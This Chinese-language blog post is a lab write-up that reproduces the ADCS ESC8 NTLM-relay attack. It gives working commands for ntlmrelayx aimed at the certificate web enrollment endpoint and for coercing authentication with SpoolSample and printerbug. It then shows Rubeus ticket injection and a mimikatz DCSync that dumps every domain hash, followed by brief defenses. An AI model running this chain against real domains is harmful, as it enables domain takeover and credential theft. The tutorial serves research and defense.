ADCS中的ntlm relay
Contents
ADCS中的ntlm relay
本文首发于先知:ADCS中的ntlm relay - 先知社区 (aliyun.com)
前言
specterops在前一段时间发布了关于域证书,也就是Active Directory 证书服务相关攻击手法和漏洞的白皮书,specterops在白皮书一共提到了19种关于adcs的利用,大致可以分为窃取、权限维持、提权几种类型。国内分析的更多集中在ESC8也就是relay的利用上,本文主要在理解域证书的基础复现ESC8的利用手法。
白皮书地址:https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
环境搭建(Active Directory 证书服务)
这里我准备了两台winserver2012的机器,一台作为主DC,一台作为辅DC。
我们首先搭建好一个域环境,配置好DNS环境:
1 | 攻击机 10.211.55.128 Kali |
我们在辅DC安装域证书服务(adcs),在部署证书服务器时建议独立部署,不要和域控制器部署在同一台服务器中。
打开服务器管理器,找到添加角色和功能,下一步,找到Active Directory证书服务,默认下一步即可。
这里要勾选1和4,因为之后relay时要用到证书注册的功能,然后默认安装即可。
关于域证书
AD CS证书服务(SSL证书),简单说就是可以用于部署企业根或独立根建立SSL加密通道。ADCS可以用来加密文件系统,数字签名,以及身份验证。它实际上是微软对于PKI解决方案的实现。
AD CS 角色包括下列角色服务:
- 证书颁发机构
- 证书颁发机构 Web 注册
- 在线响应者
- 网络设备注册服务 (NDES)
- 证书注册 Web 服务 (CES)
- 证书注册策略 Web 服务。
CA(证书颁发机构)
证书颁发机构。 CA 的主要用途是颁发证书、吊销证书,以及发布授权信息访问 (AIA) 和吊销信息。 部署的第一个 CA 会成为内部 PKI 的根。 然后,可以部署位于 PKI 层次结构中的从属 CA,并将根 CA 置于其顶部。 从属 CA 隐式信任根 CA,并隐含信任根 CA 颁发的证书。
配置CA
点击旗帜图标,配置目标服务器上的Active Directory证书服务,进行CA的配置(根证书和私钥等)
勾选“证书颁发机构”和“证书颁发机构Web注册”
其他的默认安装即可。
证书服务颁发机构Web注册页面如下,Certsrv便是证书服务颁发机构Web注册在IIS默认站点下生成的应用程序。
证书模板
我们打开证书颁发机构,默认已经包含常见的证书模板,在证书模板中定义了颁发证书的信息(加密程序、证书有效期、是否允许导出私钥等)
在运行中输入:mmc,在添加/删除管理单元处可以添加证书模板
通过web服务器进行证书申请
首先我们需要在IIS服务器里,创建证书申请
申请之后我们会得到一个保存有证书申请信息的txt文件。
之后我们打开证书颁发机构Web注册页面,点击申请证书
之后要选择高级证书申请,使用Base64编码提交证书申请
将复制的内容粘贴到如下位置,选择证书模板:Web服务器。提交即可
更多的关于ADCS的资料大家可以从微软官网获取
ESC8(ADCS Relay)
白皮书中一共提到19种攻击手法,大致可以分为:
- 窃取类
- 权限维持类
- 权限提升类
其中权限维持类又可以分为个体权限维持与域的权限维持,类似我们常见的白银票据和黄金票据。在这些关于证书服务的攻击中威胁比较大的被称作ESC8 也被叫做ADCS Relay。
原因
ADCS的http证书接口允许通过NTLM身份验证,未但是启用NTLM中继保护,因此攻击者可以利用NTLM Relay攻击ADCS证书服务。攻击者可以在一个默认安装了证书web服务的域环境中,使用普通用户凭据,直接获取到域管权限。
大致思路
结合 PetitPotam 与 ESC8,获取证书后可以为用户/机器请求 TGT / TGS 票据。能够实现从低权限域用户提升到域管理员权限,从而实现对整个域环境的控制。
- 攻击者利用打印机漏洞,强制域控使用机器账户发起ntlm认证请求
- 之后讲请求relay到证书服务的http接口,通过验证获得域机器账户的身份
- 利用证书模板为机器用户申请证书,方便之后持久性获取该用户权限
- 最后利用申请到的证书进行认证,就能拿到机器用户也就是域控的权限。
利用手法
首先我们需要安装最新的impacket
1 | git clone https://github.com/ExAndroidDev/impacket.git |
之后为impacket准备一个python虚拟环境。安装虚拟环境包
1 | apt install python3-venv |
最后使用pip安装依赖即可
1 | pip install . |
建议使用最新版的kali进行安装,其他系统安装有可能出现报错。正确安装的情况:
1.查找证书web服务端点
可以使用certutil命令来定位域内的CA服务器:
1 | certutil -config - -ping |
测试与CA服务器的网络连通:
可以看到,在默认情况下,证书注册服务、证书注册策略 web 服务、网络设备注册服务通过授权 http 头支持协商身份验证,支持 kerberos 及 NTLM。所以攻击者可以在这里进行中继攻击。
impacket设置监听
使用ntlmrelayx.py 进行监听,
1 | python3 ntlmrelayx.py -debug -smb2support --target http://10.211.55.7/certsrv/certfnsh.asp --adcs --template DomainController |
打印机bug
利用打印机bug,让域控回连到我们监听的服务上,这里可以使用spoolsample或者petitpotam,这里需要一个普通的域账号权限。
1 | SpoolSample.exe dcip attackip |
1 | python3 printerbug.py domain/user:password@10.211.55.12 10.211.55.128 |
然后我们就获得到凭证证书信息:
获取域管权限
最后我们利用上面获取到的证书,使用Rubeus.exe获取tgt并注入:
注:我这里出现了KRB-ERROR (16) 的报错,需要到windows安全设置的本地策略里的安全选项里配置Kerberos允许的加密类型全部勾选。
之后可以利用mimikatz,进行导出hash
1 | lsadump::dcsync /all /csv /domain:xxxx |
防御
- 关闭证书服务的web端点,或者开启SSL认证
- 开启NTML中继保护
参考文章
Active Directory 证书服务攻击与防御(一) - 安全客,安全资讯平台 (anquanke.com)
Author: Shu1L
Link: https://shu1l.github.io/2021/10/29/adcs-zhong-de-ntlm-relay/
License: 知识共享署名-非商业性使用 4.0 国际许可协议